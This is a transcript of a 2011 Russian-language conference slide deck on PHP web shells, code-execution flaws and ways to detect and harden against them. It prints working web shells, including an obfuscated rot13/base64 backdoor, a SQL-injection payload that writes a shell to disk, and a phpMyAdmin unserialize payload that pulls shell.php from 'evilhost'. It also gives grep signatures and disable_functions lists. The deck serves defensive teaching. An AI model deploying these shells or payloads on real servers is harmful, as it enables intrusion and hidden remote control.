WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

38
WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION Pratical cases [RUS]

description

WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION Pratical cases [RUS] Neuron hackspace 2011

Transcript of WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Page 1: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

WEB SHELL EVOLUTION&CODE EXECUTION ATTACKS IN WEB APPLICATION

Pratical cases[RUS]

Page 2: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Уязвимость, веб-шелл, бэкдор. Сходства и отличия.Веб-шелл - инструмент с большим набором функционала.

Целый ряд уязвимостей может использоваться для загрузки веб-шелла.

Отличия бэкдора от уязвимости субъективны.

Веб-шелл (бэкдор) может использовать для функционирования (выполнения кода и др.) как документированную функцию, так и уязвимость интерпретатора, препятствуя, тем самым, своему обнаружению.

Page 3: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Уязвимость, веб-шелл, бэкдор.<?php$regexp = $_GET['rx'];$var = '<tag>'.$_GET['vr']'</tag>';preg_replace("/<tag>(.*?)$regexp<\/tag>/", '\\1', $var);?>

<?php if(isset($_GET['debug'])) { eval($_GET['debug']);} ?>

<?php echo '<form action=$PHP_SELF method="post"><input type="text" name="command"></form>';if(isset($_POST)) { echo '<pre>'; passthru("$_POST['command']"); }?>

Page 5: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Как веб-шелл попадает на сервер?

● Уязвимости загрузчика файлов (обычно картинок)

● SQL-инъекции в случае FILE_PRIV (MySQL), COPY (Postgres), xp_cmdshell (MSsql)

● Уязвимости переименовывания существующих файлов в другое расширение (обычно админ. панель)

● Другие уязвимости

Page 6: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Как веб-шелл попадает на сервер?

● Картинка с веб-шеллом в EXIF shell.php.jpg● Картинка с веб-шеллом в статической области файла

(остается неизменным после масштабирования сервером)

                         http://www.0x416d73.name/articles/60

Page 7: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Как веб-шелл попадает на сервер?

● SQL-инъекции в случае FILE_PRIV (MySQL)

INTO OUTFILEINTO DUMPFILE

Работает после WHERE не смотря на документацию ;)http://dev.mysql.com/doc/refman/5.0/en/select.html

1'UNION(SELECT)('<?php _$GET[4]($_GET[0]);?>')INTO(OUTFILE)'../../../myshell.php';--

Page 8: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Поиск уязвимостей выполнения произвольного кода и веб-шеллов?

● Статический метод!# egrep -R --color "\s+eval\s*\("

● Динамический методhttp://xdebug.org/https://github.com/Tyrael/bytekit

● Автоматизированные утилитыhttp://dle-news.ru/modules/1058-zeos-antivirus.htmlhttp://0x416d73.name/proj/fcc.htmlGoogle :)

Page 9: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Статический метод

Плюсы:

● Высокая скорость работы● Простота реализации (кажущаяся)

Минусы:

● Требует множества сигнатур (eval, passthru, exec, system...)

● Ложные срабатывания //eval($_GET['debug'];) <script>eval('a=\'i-am-java$cript\'')</script>

Page 10: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Динамический метод

Плюсы:

● Высокая область покрытия

Минусы:

● Сложность реализации● Зависимость от версии

интерпретатора● Производительность

(ловит только во время работы)

Page 11: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Автоматизированные утилиты

Плюсы:

● Работают из коробки● Не требуют специальных знаний

Минусы:

● Ложные срабатывания● Производительность● Могут быть отключены злоумышленником до

срабатывания

Page 13: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Какие бывают веб-шеллы?Классификация:

● По механизму обмена данными (получение команды и отправка результата)

● По размеру (большие и маленькие)● По механизму защиты (шифрование,

обфускация)● По формату передачи команд (на основе GET,

POST, COOKIES, Headers, EXIF)● По механизму взаимодействия (синхронные,

асинхронные)

Page 14: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

По механизму обмена данными

● Полностью серверные:

<?php echo '<form action=$PHP_SELF method="post"><input   type="text" name="command"></form>'; if(isset($_POST)) { echo '<pre>'; passthru("$_POST['command']"); }?>

● Только загрузчик:

<?php     eval(base64_decode($_COOKIE['shell_body'])); ?>

Page 15: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

По размеру● Упакованные

    eval(gzinflate(base64_decode('PACKED-SHELL-BODY')));

● Сверхмаленькие (используются при ограничениях на размер, например, в именах файлов, коротких полях ввода и проч.)

    <?`$a`; //7 БАЙТ    <?=@$_GET[8]($_GET[9]); //23 БАЙТА

http://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/

Page 16: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

По механизму защиты● Зашифрованное тело

    - Нет возможности прочитать код без знания ключа    - Ключ передается при вызове злоумышленником

● Зашифрованные команды    - Нет возможность прочитать какая команда была передана от злоумышленника без знания ключа    - Ключ для расшифровки команды внутри шелла

● Комбироварованные● Обфусцированные● Без защиты

Page 17: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Механизмы защиты. Обфускацияhttp://downloads.ackack.net/heyes_technique_multi.txt

http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/

Gareth Heyes writes: No. 2 — September 22nd, 2011 at 3:35 pmStefan Esser also commented you can get Array without single quotes @$§[]=$§; and of course you can get underscore as well.

$§[]=$§;$§=$§.$§;$§§=+$§;$§[+$§§++]|($§[$§§+$§§+$§§]^�);

Page 18: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

По формату передачи команд● Команда в HTTP GET

    - Попадает в access.log при конфигурации по-умолчанию● Команда в HTTP POST● Команда в HTTP заголовках (или COOKIE)● Команда в EXIF данных картинки

    - Практически никогда не попадает в лог (файл может быть очень большим)

● Другие варианты

Page 19: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

По механизму взаимодействия● Синхронные

    Команда из запроса злоумышленника        - Синхронное выполнение команды        - Результат возвращается в HTTP ответе

● Асинхронные    Команда на сервере        - Веб-шелл сам читает команду, загруженную на удаленный сервер        - Результат последней команды (команд) возвращается в HTTP-ответе злоумышленнику по спец. синхр. команде

Page 20: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Асинхронный веб-шелл. 

Page 21: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Мораль #1 сей басни

Поиск уязвимостей выполнения произвольного кода и веб-шеллов, а также бэкдров, может быть основан на обнаружении небезопасных вызовов функций интерпретатора.

Какие это вызовы? eval(), system(), exec()?                                              и не только...

Page 22: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Очевидные функцииeval()

`ls`system()exec()passthru()shell_exec()popen()proc_open()

Page 23: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Типичные ошибки

Не использование escapeshellarg(),  escapeshellcmd() при вызове внешних программ, например, unzip, gpg.

Использование страниц шаблонов с PHP вставками.

Page 24: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Callback-функции PHP array_map array_filter array_reduce array_diff_uassoc array_diff_ukey array_udiff array_udiff_assoc array_diff_uassoc array_intersect_uassoc array_intersect_ukey array_uintersect array_uintersect_assoc array_uintersect_uassoc array_walk array_walk_recursive call_user_func call_user_func_array call_user_method call_user_method_array iterator_apply register_shutdown_function usort usort uasort uksort

xml_set_character_data_handler()xml_set_default_handler()xml_set_element_handler()xml_set_end_namespace_decl_handler()xml_set_external_entity_ref_handler()xml_set_notation_decl_handler()xml_set_processing_instruction_handler()xml_set_start_namespace_decl_handler()xml_set_unparsed_entity_decl_handler()stream_filter_register()set_error_handler()set_exception_handler()register_shutdown_function()register_tick_function()preg_replace_callback()iterator_apply()filter_input()filter_var()filter_input_array()filter_var_array()session_set_save_handler()preg_replace_callback spl_autoload_register

Page 25: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Динамические методы и функции● create_function()

$foobar = $_GET['foobar']; $dyn_func = create_function('$foobar', "echo $foobar;"); $dyn_func(''); http://www.example.com/index.php?foobar=system('ls')

● ReflectionFunction() $func = new ReflectionFunction('assert'); var_dump($func->invoke("phpinfo()"));

● $a($b)    $_COOKIE[9](_$COOKIE[8]);

Page 26: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Кстати, динамические переменные.● $$name=$value

foreach ($_GET as $key => $value) { $$key = $value; }

● parse_str() без второго аргумента    parse_str($_SERVER['QUERY_STRING']);    перепишет элемент _SERVER при ?SERVER[HTTP_HOST]=!!!

● extract()    extract($_SERVER['QUERY_STRING']);    перепишет весь _SERVER при ?SERVER[HTTP_HOST]=!!!

■ import_request_variables() PHP<=5.2.1

Page 27: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Выполнение кода через include :)<?php    $lang = $_GET['lang'];    require_once($to_include . '.inc.html');?>

http://local/a.php?file=data:text/plain,<?php phpinfo();?>%00

includeinclude_oncerequirerequire_once

Page 28: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Самые популярные уязвимости● preg_replace()

$regexp = $_GET['rx']; $var = '<tag>'.$_GET['vr']'</tag>';preg_replace("/<tag>(.*?)$regexp<\/tag>/", '\\1', $var);

● assert()$assn = “valid prefix “ . $_GET['toas'] . " any postfix";assert($assn);

● ob_start()ob_start($bufout); $bufout = 'system'; echo 'whoami';ob_end_flush();

Page 29: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Несколько примеров из жизни.<? extract($_COOKIE); @$i($p); ?>

<?php $s=$_SERVER['HTTP_ACCEPT_ASE']; if ($s) {passthru($s);} else { phpinfo();}?>

<?php $v="_"; $v.="rot"; $v.=14-1; $v="str$v"; $w=$v("onfr64_qrpbqr"); $x=$w('Y3JlYXRlX2Z1bmN0aW9u'); $y=$w('QGFzc2VydCgkX1JFUVVFU1RbJ3d3dyddKTs='); $z=$x('',$y); $z(); ?>

<?php if ( $_SERVER['HTTP_DEST'] ) { @preg_replace( "/(.*)/e", "\$1", _SERVER['HTTP_DEST'] ); exit( ); } ?>

Page 30: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Выполнение кода через переопределениеРассмотрим unserialize() функцию. - 5 ноября 2009, Сеул, конф. PoC2009 «Shocking News in PHP Exploitation» - Stefan Esserhttp://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf

● Польз. данные попадают в unserialize()● Есть классы с magic-методами __destruct,__toString,

__wakeup● Эти классы доступные из кода с unserialize()● Эти методы содержат какие-либо уязвимости (sqli,exec..)

Page 31: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Unserialize пример выполнения кодаphpMyAdmin <= 2.11.9

● $configuration=unserialize($_POST['configuration']);● function __wakeup(){ …● $this->load();● eval('?>' . trim(file_get_contents($this-

>getSource())));

O:10:"PMA_Config":1:{s:6:"source";s:70:"ftp://evilhost/shell.php";}

http://snipper.ru/view/12/phpmyadmin-2119-unserialize-arbitrary-php-code-execution-exploit/

Page 32: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Unserialize альтернатива _SESSION

PHP 5.2 <= 5.2.13PHP 5.3 <= 5.3.2$_SESSION[$_POST['prefix'] . 'bla'] = $_POST['data'];или$_SESSION = array_merge($_SESSION, $_POST);

prefix=!data=|xxx|O:10:"evilObject":0:{}

Получается – аналог unserialize()… Не только

Page 33: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Unserialize альтернатива _SESSION

При REGISTER_GLOBALS=On:

● Чтение (попадание в _SESSION) _SERVER, приватных переменных классов, etc test.php?prefix=!&data=|_SERVER|

● Перезапись _SERVER, приватных переменных классов, etc test.php?prefix=!&data=|_SERVER|a:1:{s:11:"REMOTE_ADDR";s:3:"!!!";}

Page 34: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Меры борьбы пост-фактум #1

● disable_functions "popen,exec,system,passthru,proc_open,shell_exec"

● open_basedir "/var/www/mywwwroot/"● safe_mode 1● safe_mode_exec_dir● allow_url_fopen 0● allow_url_include 0

Динамический evalhook на основе bytekit

Триггеринг обращений к СУБД

Мониторинг процессов

Page 35: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Меры борьбы пост-фактум #1

Плюсы● Не зависит от наличия уязвимостей● Быстро настраивается в любой среде● Снижают проихзводительность

Минусы● Могут возникнуть конфликты с существующим кодом● Существует множество уязвимостей интерпретатора,

позволяющих обойти эти ограничения.

http://www.google.ru/search?sourceid=chrome&ie=UTF-8&q=php+basedir+bypass

Page 36: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Меры борьбы пост-фактум #2

● Проактивная защита

    Apache mod_securityhttp://www.modsecurity.org/        PHPIDShttp://phpids.org/    etc.

Фильтруют входящие параметры (польз. данные) по сигнатурам.Не смогут обнаружить зашифрованные команды

Page 37: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Меры борьбы пост-фактум #2

Плюсы● Не зависит от наличия уязвимостей● Блокируют множество сигнатур атак, например, XSS/SQLi

Минусы● Конфликты с легитимными запросами (ложные

срабатывания)● Сильная просадка по производительности

Page 38: WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Заключение и выводыНеобходимо использовать все доступные методы:

    - Становление процессов администрирования, реагирования на инциденты, разработки, аудита    - Правильная настройка серверной части (safe_mode, disabled_functions)    - Автоматизированные проверки целостности системы    - Поиск веб-шеллов по регулярным выражениям (баннерам)    - Поиск и устранение уязвимостей (аудит)